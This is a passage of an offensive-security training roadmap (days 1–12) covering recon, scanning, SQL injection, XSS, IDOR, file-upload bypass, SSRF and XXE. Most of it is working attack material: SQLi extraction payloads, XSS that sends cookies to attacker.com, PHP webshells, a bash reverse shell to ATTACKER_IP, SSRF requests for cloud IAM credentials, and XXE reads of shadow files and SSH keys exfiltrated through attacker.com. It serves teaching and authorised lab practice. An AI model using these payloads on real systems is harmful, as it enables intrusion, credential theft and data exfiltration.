

30-DAY OFFENSIVE SECURITY PRACTICAL ROADMAP

From Beginner to Red Teamer

Web Hacking | Network Pentesting | Exploit Dev | Red Teaming | Bug Bounty | Python Scripting

30 Days · Real Labs · Real Tools · Real Attacks
PortSwigger · TryHackMe · Hack The Box

github.com/Oscar-Opemba

■ FOR AUTHORISED TESTING & EDUCATIONAL PURPOSES ONLY ■

■ INTRODUCTION

Offensive security is not about memorising tools. It is about developing an attacker's mindset – the ability to look at any system and instinctively ask: *How was this built, and how can it break?* This roadmap takes you from zero hands-on experience to confidently executing penetration tests, chaining vulnerabilities, and thinking like a red teamer. Every day is a structured mission: read, lab, hack, document. You will not just run tools – you will understand why they work, what the underlying vulnerability is, and how defenders detect it.

What you will gain:

- Practical, hands-on penetration testing skills across web, network, and system targets
- Real lab experience on PortSwigger, TryHackMe, and Hack The Box
- Working knowledge of 25+ offensive tools with real command usage
- Ability to read and write offensive Python scripts from scratch
- A structured methodology for bug bounty and red team engagements
- A professional portfolio of documented findings employers can verify

■ NOTE: Only perform these techniques on systems you own or have explicit written permission to test. Unauthorised hacking is a criminal offence in most jurisdictions.

■ HOW TO USE THIS ROADMAP

■ Follow days in order

Each day builds on the previous one. The progression is intentional — skipping ahead means missing foundational techniques.

■ Lab first, read second

Complete the lab before diving into book references. Struggling builds deeper understanding than passive reading.

■ Take notes every single day

Use a dedicated notebook or Obsidian vault. Write commands, gotchas, and aha-moments in your own words — not copy-paste.

■ Question every command before running it

Before executing any command, ask: What does this do? What am I looking for? What is the expected vs actual output?

■ Dedicate 2-4 hours minimum per day

Complex days (AD attacks, exploit dev, cloud) may require 5-6 hours. Schedule blocks — context switching kills momentum.

■ Write a report for every HTB/THM machine

Even rough write-ups improve with practice and form your public portfolio. Employers read these. Treat them as professional deliverables.

■ Join communities

HTB Discord, TryHackMe Discord, r/netsec, and the infosec Twitter/X community provide hints, motivation, and networking.

Daily Time Budget

Activity	Time
Read book reference / docs	30 min
Complete lab exercise	60-120 min
Review commands and take notes	30 min
Write a short finding report	20-30 min
Watch walkthrough (optional)	30 min

■ FULL LAB SETUP GUIDE

Kali Linux

```
# Download from https://www.kali.org/get-kali/ (Installer ISO or VM image)
# VirtualBox/VMware: 4GB RAM minimum, 80GB disk, Host-Only + NAT adapters
sudo apt update && sudo apt full-upgrade -y
sudo apt install -y kali-linux-large
sudo apt install -y gobuster ffuf feroxbuster seclists wordlists
sudo apt install -y python3-pip python3-venv impacket-scripts
pip3 install pwntools requests paramiko --break-system-packages
# Verify tools:
nmap --version && burpsuite &
```

DVWA - Damn Vulnerable Web Application

```
sudo apt install -y docker.io && sudo systemctl start docker
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Access: http://localhost | Login: admin / password
# Config page: set Security Level to LOW initially
# Reset database via Setup/Reset DB button before each session
```

OWASP Juice Shop

```
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Access: http://localhost:3000
# Modern Node.js app – ideal for XSS, IDOR, JWT, broken access control
```

Burp Suite + FoxyProxy

```
burpsuite & # Pre-installed on Kali
# Firefox: Settings > Network > Manual Proxy > 127.0.0.1:8080
# Install CA cert: visit http://burpsuite > Download > Import to Firefox
# FoxyProxy extension: allows one-click proxy toggle
# Recommended extensions: Logger++, Param Miner, Autorize, Turbo Intruder
```

Safe Hacking Environment Rules

- NEVER run offensive tools against systems you do not own or lack written permission to test
- Use Host-Only networking in VMs to isolate traffic from your real LAN
- Keep a dedicated Kali VM – never use your daily driver OS for pentesting
- Always connect to HTB/THM via their official VPN configs, not your real IP
- Document everything: commands, timestamps, findings – even in practice labs
- Snapshot your VM before destructive exercises so you can roll back

DAY 01 Recon & OSINT Fundamentals

[OBJECTIVE]

Learn passive reconnaissance: gather intelligence on a target without sending a single packet to it.

■ COMMANDS TO RUN

```
# WHOIS – registrar, creation date, name servers
whois target.com

whois -h whois.cymru.com ' -v 8.8.8.8' # ASN lookup

# DNS – enumerate records, subdomains, zone transfers
dig target.com ANY +noall +answer
dig axfr @ns1.target.com target.com # zone transfer attempt
dnsrecon -d target.com -t std,axfr,brute
dnsenum --enum target.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Subdomain discovery – chain multiple tools, deduplicate results
subfinder -d target.com -o subs_subfinder.txt
amass enum -passive -d target.com -o subs_amass.txt
assetfinder --subs-only target.com >> subs_all.txt
cat subs_*.txt | sort -u > subs_deduped.txt
httpx -l subs_deduped.txt -silent -status-code > live_subs.txt

# Certificate transparency logs – reveals ALL historical subdomains
curl -s 'https://crt.sh/?q=%target.com&output=json' | jq '.[].name_value' | sort -u

# Google Dorks – use in browser
# site:target.com filetype:pdf OR filetype:docx
# site:target.com inurl:admin OR inurl:login OR inurl:dashboard
# site:target.com ext:sql OR ext:db OR ext:bak
# site:github.com target.com api_key OR secret OR password
# intext:'Index of /' site:target.com

# Shodan – find internet-facing assets
# Shodan query: org:'Target Inc' port:22,80,443,3389,8080
shodan search --fields ip_str,port,org 'hostname:target.com'

# theHarvester – email, domain, IP harvesting
theHarvester -d target.com -l 200 -b google,bing,linkedin,dnsdumpster
```

■ ATTACK STRATEGY

- Start passive: WHOIS and DNS give you the network map before touching anything
- Layer your subdomain tools – no single tool finds everything; combine and deduplicate
- crt.sh is often overlooked but finds subdomains not indexed by Google
- GitHub dorks regularly expose API keys, hardcoded passwords, and S3 bucket names
- httpx filters your subdomain list to only live targets – prioritise these
- ASN lookup reveals ALL IP ranges owned by the organisation – expand your scope

★ REAL-WORLD: During a HackerOne engagement, a researcher found a staging subdomain via crt.sh that was not in scope but pointed to an S3 bucket with customer PII. Passive recon before active scanning would have surfaced this before any scanner was run.

■ WHAT TO LOOK FOR

- Exposed admin panels: admin., portal., dashboard., manage., cpanel.
- Dev/staging environments: dev., staging., test., uat., qa. – often less hardened
- Leaked API keys in GitHub repos (AKIA prefix = AWS key, ghp_ = GitHub token)
- Old IP ranges in WHOIS history that may still host forgotten services

■ Email patterns (firstname.lastname@) useful for credential stuffing later

■ NOTE: Passive recon = zero packets to the target. Active recon = you are touching their systems. Know the legal boundary before starting.

DAY 02 Network Scanning with Nmap

[OBJECTIVE]

Master port scanning, service detection, OS fingerprinting, and NSE script usage.

■ COMMANDS TO RUN

```
# Step 1: Host discovery – find live hosts before scanning ports
nmap -sn 192.168.1.0/24 -oG ping_sweep.gnmap
grep 'Up' ping_sweep.gnmap | awk '{print $2}' > live_hosts.txt

# Step 2: Fast initial scan – top 1000 ports
nmap -sS -T4 --open -iL live_hosts.txt -oA initial_scan

# Step 3: Full port scan – all 65535 ports on interesting hosts
nmap -p- --min-rate 5000 -T4 <target_ip> -oA full_ports

# Step 4: Targeted service scan on open ports found
nmap -sV -sC -p 22,80,443,8080,3306 <target_ip> -oA services

# Step 5: OS detection and aggressive scan
nmap -A -O -p- <target_ip> -oA aggressive

# UDP scan – reveals DNS (53), SNMP (161), NFS (2049)
nmap -sU --top-ports 200 --open <target_ip> -oA udp_scan

# NSE vulnerability scripts
nmap --script vuln <target_ip>
nmap --script=http-enum,http-title,http-headers <target_ip> -p 80,443,8080
nmap --script=smb-vuln* <target_ip> -p 445
nmap --script=ftp-anon,ftp-brute <target_ip> -p 21

# Masscan for large networks – much faster than nmap
masscan -p1-65535 10.0.0.0/16 --rate=10000 -oG masscan_out.gnmap

# Cross-reference masscan results with nmap service detection
```

■ ATTACK STRATEGY

- Always do a two-phase scan: fast SYN sweep first, targeted service scan second
- Save ALL output with -oA (generates .xml, .gnmap, .nmap) – you will reference it repeatedly
- Cross-reference discovered versions with searchsploit and CVE databases immediately
- Look for unusual ports: 27017 (MongoDB unauth), 9200 (Elasticsearch), 2375 (Docker daemon)
- SNMP (UDP 161) often leaks entire network topology with community string 'public'
- Use -Pn if a host appears down but you know it exists (firewall dropping pings)

★ REAL-WORLD: On HTB machine Blue (classic), a basic nmap scan reveals port 445 running SMBv1. Version detection (-sV) confirms MS17-010 (EternalBlue). A direct path from port scan to SYSTEM shell in three steps.

■ NOTE: nmap -sC runs default scripts. nmap -A runs OS detection, version detection, script scanning, and traceroute. Use -A carefully – it is noisy.

DAY 03 Web App Fingerprinting & Directory Enumeration

[OBJECTIVE]

Identify web technologies, map application structure, and discover hidden endpoints before exploiting any vulnerability.

■ COMMANDS TO RUN

```
# Technology fingerprinting
whatweb -a 3 http://target.com # -a 3 = aggressive mode
wafw00f http://target.com # Detect Web Application Firewall
curl -I http://target.com # Manual header inspection

# Directory brute-force with gobuster
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 -o
gobuster_common.txt
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x
php,html,js,txt,bak,zip -t 50
gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Fast fuzzing with ffuf – filter by response codes and size
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -mc 200,301,302,403 -t
80
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -mc 200 -fs
0

# Subdomain fuzzing
ffuf -u http://FUZZ.target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc
200,301 -H 'Host: FUZZ.target.com'

# Parameter fuzzing
ffuf -u 'http://target.com/page?FUZZ=test' -w
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200

# Check common sensitive paths manually
curl -s http://target.com/robots.txt
curl -s http://target.com/.git/HEAD # Exposed git repo
curl -s http://target.com/.env # Environment variables / credentials
curl -s http://target.com/backup.zip # Backup archives
curl -s http://target.com/api/swagger.json | python3 -m json.tool

# JavaScript file analysis – APIs and secrets hidden in JS
echo http://target.com | hakrawler -depth 3 -js | grep -i 'api|key|secret|token'
python3 LinkFinder.py -i http://target.com -d # Deep JS endpoint extraction
gf secrets target_js_files/ # grep for known secret patterns
```

■ ATTACK STRATEGY

- Run gobuster in the background while manually browsing with Burp proxy intercepting all traffic
- Check robots.txt – developers accidentally disallow sensitive paths, revealing them to you
- /.git/ exposed: use git-dumper to download and reconstruct the entire source code
- /.env files contain DB credentials, API keys, and secret keys in plaintext
- 403 Forbidden is not a dead end – try path traversal, case changes, or adding headers like X-Original-URL
- JavaScript files are a goldmine: API endpoints, auth tokens, internal hostnames, hardcoded secrets

★ REAL-WORLD: A bug hunter found /.git/ exposed on a major e-commerce platform. Using git-dumper they recovered the full backend source, which contained hardcoded AWS S3 credentials giving read access to the customer database backup.

■ NOTE: SecLists is essential. Install: `sudo apt install seclists`. Located at `/usr/share/seclists/`. It contains wordlists for every fuzzing scenario.

DAY 04 Burp Suite Mastery

[OBJECTIVE]

Become proficient with Burp Suite for intercepting, modifying, replaying, and automating HTTP request manipulation.

■ COMMANDS TO RUN

```
# Start Burp Suite
burpsuite & # Pre-installed on Kali

# Core workflow: Proxy > HTTP History > right-click any request:
# Ctrl+R → Send to Repeater (manual testing)
# Ctrl+I → Send to Intruder (fuzzing/brute-force)
# Ctrl+B → Send to Scanner (Pro only)
# Ctrl+U → URL encode selected text

# Repeater – most used tab. Modify and resend manually:
# Change parameter values, add headers, test injections, observe responses
# Use the Inspector panel to auto-decode cookies, JWT, base64

# Intruder attack types:
# Sniper = one payload position, iterate wordlist (brute-force login)
# Battering Ram = same payload in all positions simultaneously
# Pitchfork = parallel iteration (usernames + passwords from same line)
# Cluster Bomb = all combinations (expensive but thorough)

# Useful BApp Store extensions (free):
# Logger++ - log ALL traffic, filterable, exportable
# Param Miner - find hidden GET/POST parameters automatically
# Autorize - test access control across roles (IDOR detection)
# Turbo Intruder - Python-scripted high-speed fuzzing
# JSON Beautifier - prettify JSON in responses
# Hackvertor - encode/decode payloads inline in requests

# Export a request to curl format: right-click in Repeater > Copy as curl
# Useful for scripting: curl command matches Burp request exactly

# Match and Replace rule (Proxy > Options > Match and Replace):
# Use to: auto-add headers, replace User-Agent, modify cookies on every request
```

■ ATTACK STRATEGY

- Browse the ENTIRE application with Burp proxy on before testing anything – build your HTTP History
 - Use 'Filter' in HTTP History to show only in-scope requests and reduce noise
 - Param Miner auto-discovers hidden parameters – run it on every endpoint before manual testing
 - Autorize: log in as two different roles, replay every admin request with the low-privilege cookie
 - Turbo Intruder is 100x faster than Community Intruder – use it for rate-limit bypass and enumeration
 - Decode every cookie you see: base64-decode, check for JWT format (three dot-separated parts)
- ★ REAL-WORLD: During a web app assessment, a consultant used Param Miner on a simple product page. It discovered a hidden debug=true parameter that returned full SQL queries and stack traces in the response, directly leading to SQLi.
- NOTE: Master Repeater before anything else. 80% of web pentesting is sending a modified request and carefully reading the response.

DAY 05 SQL Injection - Basics

[OBJECTIVE]

Understand SQL injection fundamentals: error-based, union-based, authentication bypass, and database extraction.

■ COMMANDS TO RUN

```
# Step 1: Detect injection with error triggering
# Submit these in any input field, URL param, or header:
' # Single quote – causes syntax error in most DBs
'' # Escaped quote – should NOT cause error
1'-- # Comment out rest of query
1' OR '1'='1 # Always-true condition

# Step 2: Authentication bypass
# Username: admin'-- Password: anything
# Username: ' OR 1=1-- Password: anything
# Username: ' OR 'a'='a Password: ' OR 'a'='a

# Step 3: UNION attack – determine column count
' ORDER BY 1-- # No error
' ORDER BY 2-- # No error – increment until error
' ORDER BY 5-- # Error = 4 columns exist
' UNION SELECT NULL,NULL,NULL,NULL-- # Confirm with NULLs

# Step 4: Find displayed columns (replace NULLs with strings)
' UNION SELECT 'a',NULL,NULL,NULL-- # Try each position
' UNION SELECT NULL,'a',NULL,NULL--

# Step 5: Extract data from database
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--
' UNION SELECT username||':'||password,NULL FROM users-- # PostgreSQL concat

# Step 6: Automate with sqlmap
sqlmap -u 'http://target.com/page?id=1' --dbs --batch
sqlmap -u 'http://target.com/page?id=1' -D target_db --tables --batch
sqlmap -u 'http://target.com/page?id=1' -D target_db -T users --dump --batch
sqlmap -r burp_request.txt --level=5 --risk=3 --dbs --batch
sqlmap -u 'http://target.com/page?id=1' --os-shell # If DBA privileges

# DB-specific fingerprinting
# MySQL: @@version, sleep(5), information_schema
# PostgreSQL: version(), pg_sleep(5), pg_catalog
# MSSQL: @@version, WAITFOR DELAY, sys.tables
# Oracle: v$version, dbms_pipe.receive_message, all_tables
```

■ ATTACK STRATEGY

- Test EVERY input – search boxes, login forms, URL params, hidden fields, HTTP headers (User-Agent, Referer, Cookie)
- A single quote causing a 500 error is your green light – the input is reaching the SQL query unsanitised
- UNION attacks require matching column count and compatible data types – be methodical
- Look for admin credentials in the users table, then attempt password reuse on other services
- Always try manual injection before sqlmap – understanding the technique makes you dangerous with the tool

★ REAL-WORLD: CVE-2023-23752: Joomla unauthenticated SQLi via the /api/index.php/v1/config/application endpoint exposed database credentials on thousands of sites. Basic UNION-based extraction retrieved the admin password hash in one request.

DAY 06 SQL Injection - Advanced & Blind

[OBJECTIVE]

Exploit blind SQL injection using boolean-based and time-based techniques, and understand second-order injection.

■ COMMANDS TO RUN

```
# Boolean-based blind – infer data from true/false response differences
' AND 1=1-- # TRUE condition – normal application response
' AND 1=2-- # FALSE condition – different or empty response

# Extract data character by character
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b'--

# Continue until full password extracted – automate with Python or sqlmap

# Time-based blind – confirm injection via deliberate delays
# MySQL
' AND SLEEP(5)-- # 5 second delay = injectable
' AND IF(1=1,SLEEP(5),0)-- # Conditional sleep
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--

# MSSQL
'; WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--

# PostgreSQL
'; SELECT pg_sleep(5)--
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--

# Automate blind extraction with sqlmap
sqlmap -u 'http://target.com/page?id=1' --technique=B --level=3 --batch
sqlmap -u 'http://target.com/page?id=1' --technique=T --time-sec=5 --batch

# Write a custom Python boolean extractor:
# import requests, string
# for pos in range(1, 20):
# for char in string.printable:
# payload = f"' AND SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{char}'--"
# r = requests.get(url, params={'id': '1' + payload})
# if 'Welcome' in r.text: # True condition marker
# print(char, end='', flush=True); break
```

■ ATTACK STRATEGY

- When no data is returned in the response, infer data from TRUE vs FALSE response differences (length, content, status code)
 - Time-based is your last resort – it is slow and unreliable on laggy connections; use boolean first
 - Second-order injection: data stored safely but later inserted into an unsafe query – test profile/settings fields
 - Write your own Python extraction script at least once – it cements how blind SQLi actually works
 - Measure response time baseline before testing time-based – network jitter can create false positives
- ★ REAL-WORLD: During a bug bounty assessment, the /forgot-password endpoint accepted a username and returned identical error messages for valid and invalid users. However, the response was 40ms slower for valid usernames – a timing-based user enumeration vulnerability worth \$500.

DAY 07 Cross-Site Scripting (XSS) - Reflected & Stored

[OBJECTIVE]

Identify and exploit reflected and stored XSS vulnerabilities, escalating beyond alert(1) to session hijacking and account takeover.

■ COMMANDS TO RUN

```
# Step 1: Probe – find where input is reflected in the response
# Submit a unique string: xstest12345 – then search source for it
# Step 2: Determine context (affects payload choice)
# HTML body context: <p>YOUR INPUT</p>
# HTML attribute context: <input value='YOUR INPUT'>
# JavaScript context: var name = 'YOUR INPUT';
# HTML attribute (unquoted): <img src=YOUR INPUT>
# Step 3: Payloads by context
<script>alert(document.domain)</script> # HTML body
<img src=x onerror=alert(1)> # HTML body, tag
<svg onload=alert(1)> # SVG context
"autofocus onfocus=alert(1) x=" # HTML attribute (double quote)
'autofocus onfocus=alert(1) x=' # HTML attribute (single quote)
</script><script>alert(1)</script> # Breaking out of JS context
\';alert(1)// # JS string escape
# Step 4: Cookie theft payload
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<img src=x onerror="document.location='http://attacker.com/c?'+btoa(document.cookie)">
# Step 5: Account takeover via stored XSS (admin panel example)
<script>
fetch('/admin/adduser',{method:'POST',body:'user=hacker&role=admin',
headers: {'Content-Type': 'application/x-www-form-urlencoded'}})
</script>
# Step 6: Automated scanning
dalfox url 'http://target.com/search?q=test' --cookie 'session=abc'
ffuf -u 'http://target.com/search?q=FUZZ' -w /usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txt -mr 'alert'
python3 XSSStrike/xsstrike.py -u 'http://target.com/search?q=test' --crawl
```

■ ATTACK STRATEGY

- Map all reflection points first: URL params, form fields, HTTP headers, error messages, file names
- Determine the exact injection context before choosing a payload – wrong context = no execution
- Stored XSS has much higher impact than reflected: every user visiting the page gets hit
- alert(1) is just proof-of-concept – show real impact: steal the cookie and log into the account
- Test the XSS payload from a different browser to confirm it fires for another user

★ REAL-WORLD: A stored XSS in a support ticket system allowed an attacker to embed a payload in the ticket title. When a support agent opened the ticket, their admin session cookie was exfiltrated, granting full backend access. Reported to HackerOne – rewarded \$5,000.

DAY 08 XSS – DOM-Based & Filter Bypass

[OBJECTIVE]

Exploit DOM-based XSS and bypass common input filters, WAFs, and Content Security Policies.

■ COMMANDS TO RUN

```
# DOM XSS: browser executes malicious JS from user-controlled source
# Sources: location.hash, location.search, document.referrer, postMessage
# Sinks: document.write(), innerHTML, eval(), location.href, setTimeout()
# Find sinks in JS with DevTools (Sources tab > search):
# Search for: innerHTML, document.write, eval, location.href = , src =
# Test URL hash injection:
http://target.com/page#<img src=x onerror=alert(1)>
http://target.com/page?name=</script><script>alert(1)</script>

# WAF / filter bypass techniques
# Case variation:
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=ALERT(1)>

# HTML entity encoding:
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;;(1)>

# Nested tag bypass (breaks keyword match):
<scr<script>ipt>alert(1)</scr</script>ipt>

# Double URL encoding:
%253Cscript%253Ealert(1)%253C/script%253E

# Event handlers (bypass script block):
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=x onloadstart=alert(1)>
<body onpageshow=alert(1)>

# javascript: URI:
<a href=javascript:alert(1)>click me</a>

# Template literal (JS context, no quotes needed):
`${alert(1)}`

# CSP bypass via JSONP endpoint:
<script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1)'\></script>

# XSSStrike for intelligent WAF bypass
python3 xsstrike.py -u 'http://target.com/search?q=test' --fuzzer
```

■ ATTACK STRATEGY

- DOM XSS is invisible in the server response – use browser DevTools to inspect the rendered DOM, not page source
- SPAs (React, Angular, Vue) are highly prone to DOM XSS – trace data flow from URL to DOM sink
- WAF bypass: start minimal (single word) and build up – the WAF blocks patterns, not intent
- HTML entity encoding and Unicode escape sequences bypass most naive keyword filters
- CSP can be bypassed via trusted third-party JSONP endpoints or unsafe inline policy configs
- ★ REAL-WORLD: Uber's bug bounty program paid \$7,500 for a DOM XSS in their rider app. The URL fragment was passed to innerHTML without sanitisation, allowing a crafted link shared with a victim to execute JS in their browser session.

DAY 09 IDOR & Broken Access Control

[OBJECTIVE]

Discover and exploit Insecure Direct Object References and broken access control – the #1 most commonly reported vulnerability in bug bounty.

■ COMMANDS TO RUN

```
# Manual IDOR testing with two accounts (A and B)
# Log in as User A, capture their requests in Burp HTTP History
# Identify requests containing User A's ID (e.g. user_id=1234)
# Log in as User B, grab their ID (e.g. user_id=1235)
# While authenticated as B, send requests using A's IDs – check for access

# Common IDOR patterns to test
GET /api/user/1234/profile → try /api/user/1235/profile
GET /api/orders/ORD-00123 → try ORD-00122, ORD-00001
GET /download?file=report_1234.pdf → try report_1233.pdf
POST /api/user/update {userId: 1234, email: 'new@x.com'} → change userId
DELETE /api/message/5678 → delete another user's message

# Authorize extension workflow (most efficient method):
# 1. Log in as low-privilege user A – copy their session cookie to Authorize
# 2. Log in as admin user B – browse the admin interface with Burp proxy on
# 3. Authorize replays every B request using A's cookie automatically
# 4. Green = same response (IDOR confirmed) / Red = different (protected)

# GUID/UUID IDORs – UUIDs are NOT security
# Check for UUID leakage in: API responses, error messages, HTML source
grep -r 'uuid\|user_id\|account_id' burp_export.xml

# Vertical privilege escalation – access admin endpoints as regular user
GET /admin/users → as regular user (should 403)
POST /admin/deleteUser {id: 5} → as regular user

# Try HTTP method switching:
# If GET /admin → 403, try: POST /admin, PUT /admin, OPTIONS /admin
# Try path variations:
# /admin → 403 /ADMIN → 200? /admin/ → 200? /admin.json → 200?

# Mass ID enumeration with ffuf
ffuf -u 'http://target.com/api/user/FUZZ/profile' -w <(seq 1 5000) -mc 200 -o idor_results.json
```

■ ATTACK STRATEGY

- Always test with two separate accounts – one as attacker, one as victim
- Predictable IDs (sequential integers) are trivially enumerable – iterate through ranges
- GUIDs are not security. If a GUID leaks in any API response, IDOR still exists
- Test HORIZONTAL (same privilege, different user) and VERTICAL (lower to higher privilege) separately
- Indirect references: if the API returns a filename, try modifying it to access other files

★ REAL-WORLD: Instagram paid \$30,000 for an IDOR that allowed viewing private user photos via the /api/v1/media/MEDIA_ID/likers endpoint by brute-forcing media IDs. Sequential integer IDs + missing auth check = critical finding.

DAY 10 File Upload Vulnerabilities

[OBJECTIVE]

Bypass file upload filters to achieve Remote Code Execution via malicious file uploads.

■ COMMANDS TO RUN

```
# Step 1: Upload a legitimate image first – understand normal behaviour
echo 'GIF87a<?php system($_GET["cmd"]); ?>' > shell.php.gif # Magic bytes bypass
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Step 2: Intercept upload in Burp, modify Content-Type
# Change: Content-Type: application/x-php → image/jpeg
# Step 3: Try alternative PHP extensions (when .php is blacklisted)
# .phtml .php3 .php4 .php5 .php7 .phar .shtml .pgif .pHp
# Step 4: Double extension bypass
mv shell.php shell.php.jpg
mv shell.php shell.jpg.php
# Step 5: Null byte (older PHP/servers)
# Filename: shell.php%00.jpg – server sees .jpg, PHP executes .php
# Step 6: Magic bytes bypass (prepend JPEG header)
printf '\xff\xd8\xff\xe0' > shell.php && echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# Step 7: Execute the uploaded shell
curl 'http://target.com/uploads/shell.php?cmd=id'
curl 'http://target.com/uploads/shell.php?cmd=cat+/etc/passwd'
curl 'http://target.com/uploads/shell.php?cmd=which+python3'
# Step 8: Upgrade to reverse shell
curl 'http://target.com/uploads/shell.php?cmd=bash+-i+%26+/dev/tcp/ATTACKER_IP/4444+0>%261'
nc -lvnp 4444 # Listener on attacker machine
# Step 9: Polyglot file (valid image AND valid PHP)
exiftool -Comment='<?php system($_GET["c"]); ?>' legit_image.jpg -o shell.php.jpg
```

■ ATTACK STRATEGY

- Test file content separately from file extension – they are validated independently
 - Even a .jpg extension executes as PHP if the server is misconfigured (AddHandler in Apache)
 - Always check WHERE the file is stored – is it in a web-accessible directory?
 - After RCE, immediately run: `id`, `whoami`, `uname -a`, `sudo -l`, `cat /etc/passwd`
 - EXIF metadata in images can carry PHP code executed by vulnerable image processing libraries (ImageMagick)
- ★ REAL-WORLD: A Shopify bug bounty report earned \$20,000 when a polyglot SVG/PHP file uploaded through a product image uploader resulted in RCE on their internal tooling server. The SVG was valid XML but contained PHP that executed when fetched.

DAY 11 SSRF – Server-Side Request Forgery

[OBJECTIVE]

Force the server to make HTTP requests to internal systems, cloud metadata, and internal APIs.

■ COMMANDS TO RUN

```
# Find SSRF injection points – any parameter accepting a URL
# Parameters to test: url=, path=, dest=, redirect=, uri=, fetch=, feed=, link=
# Features to test: webhooks, PDF generators, image preview, social cards, file import
# Basic SSRF – internal service access
url=http://localhost/admin
url=http://127.0.0.1:8080/internal
url=http://0.0.0.0:22
url=http://192.168.1.1:80 # Internal network scanning

# Cloud metadata – HIGHEST PRIORITY target (leaks IAM credentials)
url=http://169.254.169.254/latest/meta-data/ # AWS
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IAM role name
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
url=http://metadata.google.internal/computeMetadata/v1/ -H 'Metadata-Flavor:Google' # GCP
url=http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure

# SSRF filter bypass techniques
url=http://2130706433/ # 127.0.0.1 as decimal integer
url=http://0x7f000001/ # 127.0.0.1 as hex
url=http://127.0.0.1.nip.io/ # DNS-based bypass
url=http://[::1]/ # IPv6 localhost
url=http://0/ # Resolves to 0.0.0.0
url=http://attacker.com/redirect → set redirect to 127.0.0.1 # Open redirect chain

# Blind SSRF – use DNS/HTTP callback to confirm
url=http://YOUR_ID.oastify.com # Burp Collaborator
url=http://YOUR_ID.interactsh.com # interactsh (free)
interactsh-client # Run listener, paste URL in target, watch for DNS/HTTP callback

# Internal port scanning via SSRF
# Different response time or error message = port open
for port in 22 80 443 3306 5432 6379 8080 9200 27017; do
curl -s 'http://target.com/api/fetch?url=http://127.0.0.1:$port; echo " port $port"; done
```

■ ATTACK STRATEGY

- Enumerate ALL URL-accepting parameters – developers add them constantly and rarely audit them
- Cloud metadata endpoint 169.254.169.254 is the most valuable SSRF target: leaked IAM role credentials give AWS access
- After getting AWS credentials via SSRF: `aws sts get-caller-identity` → assess permissions → escalate
- Blind SSRF is confirmed via DNS/HTTP callback – always use interactsh or Burp Collaborator
- Chain SSRF with other vulnerabilities: SSRF → internal Redis → write webshell to disk

★ REAL-WORLD: Capital One suffered a \$190 million breach when a misconfigured WAF allowed SSRF to the AWS metadata endpoint, leaking IAM credentials. The attacker exfiltrated 100 million customer records from S3. AWS SSRF is always a critical finding.

DAY 12 XXE – XML External Entity Injection

[OBJECTIVE]

Exploit XML parsers to read local files, trigger SSRF, and exfiltrate data out-of-band.

■ COMMANDS TO RUN

```
# Step 1: Detect XML input (look for Content-Type: application/xml or text/xml)
# Also check: file uploads (SVG, DOCX, XLSX), SOAP endpoints, GraphQL with XML
# Even JSON endpoints may accept XML if you change Content-Type to text/xml

# Step 2: Basic XXE – read /etc/passwd
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<stockCheck><productId>&xxe;</productId></stockCheck>

# Step 3: Read sensitive files (escalate from /etc/passwd)
# file:///etc/shadow # Password hashes (if readable)
# file:///root/.ssh/id_rsa # SSH private key
# file:///var/www/html/config.php # Database credentials
# file:///proc/self/environ # Environment variables
# file:///etc/aws/credentials # AWS credentials

# Step 4: XXE via SSRF
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'http://169.254.169.254/latest/meta-data/'>]>

# Step 5: Blind XXE via out-of-band (OOB) DNS/HTTP
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM 'http://YOUR_ID.interactsh.com'> %xxe;]>

# Step 6: Exfiltrate file content via OOB (parameter entity + external DTD)
# Host evil.dtd on attacker server:
# <!ENTITY % file SYSTEM 'file:///etc/passwd'>
# <!ENTITY % wrap '<!ENTITY exfil SYSTEM "http://attacker.com/?d=%file;">'> %wrap;
# In XXE payload:
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM 'http://attacker.com/evil.dtd'> %dtd; &exfil;]>

# SVG upload XXE (embed in SVG file):
<?xml version='1.0' standalone='yes'?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM 'file:///etc/hostname'>]>
<svg><text>&xxe;</text></svg>
```

■ ATTACK STRATEGY

- Any application parsing XML is potentially vulnerable – SOAP APIs, file uploads, REST endpoints that accept XML
- SVG image uploads are XML – always test them for XXE, even on image-heavy platforms
- Change Content-Type from application/json to text/xml and submit an XML body – many backends accept both
- Escalate file read: /etc/passwd → /root/.ssh/id_rsa → /var/www/html/config.php → cloud credentials
